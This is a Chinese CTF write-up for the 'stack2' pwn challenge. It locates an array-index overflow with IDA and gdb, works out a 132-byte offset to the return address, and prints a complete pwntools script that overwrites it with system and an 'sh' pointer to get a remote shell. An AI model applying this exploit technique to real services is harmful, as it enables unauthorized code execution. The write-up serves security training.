pwn-stack-wp
stack2
知识点:数组溢出
正文
程序拖入IDA进行反编译,查看逻辑。
既然发现了溢出点,那么就是确定我们的ret地址和数组第一位数据的距离问题。我们使用gdb进行动态调试。
在0x0804884D
进行下断点。我们根据选项去更改数组中第一位的数据。得到数组起始地址为0xffffcef8
。
找到起始地址之后,我们去寻找执行ret指令时,栈的地址然后求其差值即可。首先是ret指令在哪里。IDA分析。
当我们选择选项5时,会执行ret指令。在0x080488F2
下断点。
得到ret指令此时会取栈上0xffffcf7c
处内容。那么0xffffcf7c
即为我们需要覆盖的地址。0xffffcf7c - 0xffffcef8 = 132
我们去验证一下,将第132、133、134、135位改为6f、70、71、72。进行验证。
根据上图得知,我们已经找到了正确的ret地址。也已经可正常的覆盖掉。接下来就是覆盖ret地址为system函数地址。并且传给函数参数sh
。
from pwn import * #sh = process('./task') sh = remote("192.168.2.29", 23777) def shell(): sh.recvuntil("5. exit\n") sh.sendline("5") sh.interactive() def write_dword(off,addr): write_byte(off,addr & 0xff) write_byte(off+1,(addr >> 8) & 0xff) write_byte(off+2,(addr >> 16) & 0xff) write_byte(off+3,(addr >> 24) & 0xff) def write_byte(off,addr): sh.recvuntil("5. exit\n") sh.sendline("3") sh.recvuntil("which number to change:\n") sh.sendline(str(off)) sh.recvuntil("new number:\n") sh.sendline(str(addr)) #context.log_level='debug' #gdb.attach(sh) sh.recvuntil("How many numbers you have:\n") sh.sendline("1") sh.recvuntil("Give me your numbers\n") sh.sendline("5") sys_addr = 0x08048450 ret_off = 0x84 sh_off = ret_off + 0x8 sh_addr = 0x08048980 + 7 write_dword(ret_off,sys_addr) write_dword(sh_off,sh_addr) shell()
flag
路虽远,行则必达。